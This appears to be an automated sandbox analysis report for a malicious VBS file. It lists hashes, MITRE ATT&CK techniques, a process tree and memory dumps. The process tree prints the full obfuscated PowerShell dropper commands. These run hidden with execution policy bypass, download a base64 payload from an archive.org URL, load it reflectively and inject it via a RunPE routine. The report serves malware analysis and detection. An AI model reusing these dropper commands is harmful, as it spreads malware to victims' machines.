812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb

General

Target

Label_091273172.vbs
Size

501KB
MD5

acac54eb7b6c34d0c1dcf760c22ede4d
SHA1

d6801fa279e4fe8696031696611c4b0d75054982
SHA256

812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb
SHA512

e22230cf8cec2bd0cbaf4f7eb18e32dd2246e52bac1df891cc8df67bdce2cf6982bd508307b6a2262e98a2e643e4a98ce229a82584fca5b3ce089f286f8cd393
SSDEEP

12288:NxUu11RyddYlQLsdReovsT5JqGeqUXb8CYx6f2ACVqENi8rvNm7S0bpYiWYVwPkI:vTEsjaquAYdlb

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2692	powershell.exe
4	2692	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe
2692	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2792	powershell.exe
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2792	2636	WScript.exe	30
PID 2636 wrote to memory of 2792	2636	WScript.exe	30
PID 2636 wrote to memory of 2792	2636	WScript.exe	30
PID 2792 wrote to memory of 2692	2792	powershell.exe	32
PID 2792 wrote to memory of 2692	2792	powershell.exe	32
PID 2792 wrote to memory of 2692	2792	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Label_091273172.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdaaml1cmwnKycgPSBSZycrJ2VodHRwJysncycrJzovL2lhNjAnKycwMTAwJysnLnVzLmFyY2gnKydpdmUub3JnLzI0L2l0ZW0nKydzJysnL2RldGFoLW5vJysndGUtdi8nKydEZXQnKydhaE5vdCcrJ2VWLnR4dFInKydnZTtaamliYXNlNjRDb250ZW50ID0gKCcrJ05lJysndy0nKydPJysnYmplJysnY3QgU3knKydzdCcrJ2VtLk5lJysndC5XZWJDbGllbnQpLkRvd25sJysnb2FkU3RyJysnaW5nKFpqaXVybCk7WmppYmluYScrJ3J5Q29uJysndCcrJ2VudCcrJyA9ICcrJ1tTeXMnKyd0ZW0nKycuQ29udmUnKydyJysndF06JysnOkZyb21CYXNlNicrJzRTdHJpbmcoWmonKydpJysnYmFzJysnZTY0Q28nKydudGVudCk7WmppJysnYXNzZW1ibHkgPSBbUmVmbGUnKydjdGlvbi5Bc3NlbScrJ2JseV06OkxvYScrJ2QoWmppYmknKyduYXJ5JysnQ28nKyduJysndGVudCk7WicrJ2ppJysndHlwZSA9IFonKydqaScrJ2Fzc2VtYmx5JysnLkdldFR5cGUoUmdlUnVuUEUuSG9tZVJnZSknKyc7WmppbScrJ2V0aCcrJ29kICcrJz0gWicrJ2ppdHlwZS5HZXRNZScrJ3Rob2QoUmcnKydlVkFJUmcnKydlKTtaamknKydtZXRob2QuSW52b2tlKFpqaW51bGwsIFtvYmplJysnY3RbXV0nKydAKFJnZTAvRycrJ3dNJysndWsvZC9lZScrJy5ldCcrJ3NhcC8vOnNwdHQnKydoJysnUmdlICwgUmdlJysnZGVzYXRpJysndmFkb1JnZSAnKycsIFJnZWRlc2F0JysnaXZhZG9SZycrJ2UgLCBSZ2UnKydkZXNhdGl2YWQnKydvUicrJ2dlLFJnZUEnKydkZEluUHInKydvY2VzczMnKycyJysnUmdlLFJnZVJnZSkpJykuUmVwbEFDZSgnWmppJywnJCcpLlJlcGxBQ2UoJ1JnZScsW1NUUkluZ11bQ2hhUl0zOSkgfCBJblZPa0UtZVhQUkVzc0lvTg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Zjiurl'+' = Rg'+'ehttp'+'s'+'://ia60'+'0100'+'.us.arch'+'ive.org/24/item'+'s'+'/detah-no'+'te-v/'+'Det'+'ahNot'+'eV.txtR'+'ge;Zjibase64Content = ('+'Ne'+'w-'+'O'+'bje'+'ct Sy'+'st'+'em.Ne'+'t.WebClient).Downl'+'oadStr'+'ing(Zjiurl);Zjibina'+'ryCon'+'t'+'ent'+' = '+'[Sys'+'tem'+'.Conve'+'r'+'t]:'+':FromBase6'+'4String(Zj'+'i'+'bas'+'e64Co'+'ntent);Zji'+'assembly = [Refle'+'ction.Assem'+'bly]::Loa'+'d(Zjibi'+'nary'+'Co'+'n'+'tent);Z'+'ji'+'type = Z'+'ji'+'assembly'+'.GetType(RgeRunPE.HomeRge)'+';Zjim'+'eth'+'od '+'= Z'+'jitype.GetMe'+'thod(Rg'+'eVAIRg'+'e);Zji'+'method.Invoke(Zjinull, [obje'+'ct[]]'+'@(Rge0/G'+'wM'+'uk/d/ee'+'.et'+'sap//:sptt'+'h'+'Rge , Rge'+'desati'+'vadoRge '+', Rgedesat'+'ivadoRg'+'e , Rge'+'desativad'+'oR'+'ge,RgeA'+'ddInPr'+'ocess3'+'2'+'Rge,RgeRge))').ReplACe('Zji','$').ReplACe('Rge',[STRIng][ChaR]39) | InVOkE-eXPREssIoN"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\45WRE4YWCS0CDZT5R67K.temp

Filesize
7KB

MD5
62cc106457befdc48b6c157442d8d3aa

SHA1
6607026f855902ae01eaed6b20fbd7db3b627fec

SHA256
dd11c1779714f42eb196871f83f24e7b1ff0a5091c27a5bfe5da36fc42b57ef4

SHA512
db14ccf70ae80430892262cead0674c0ece975d2e9921507c9d93a456204a95a3ac7ef981fdb05a69c1702f6f389d612bba6250782516e12a92d097c9522f6eb

Download Submit
memory/2792-4-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2792-7-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2792-8-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-10-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-9-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-11-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-17-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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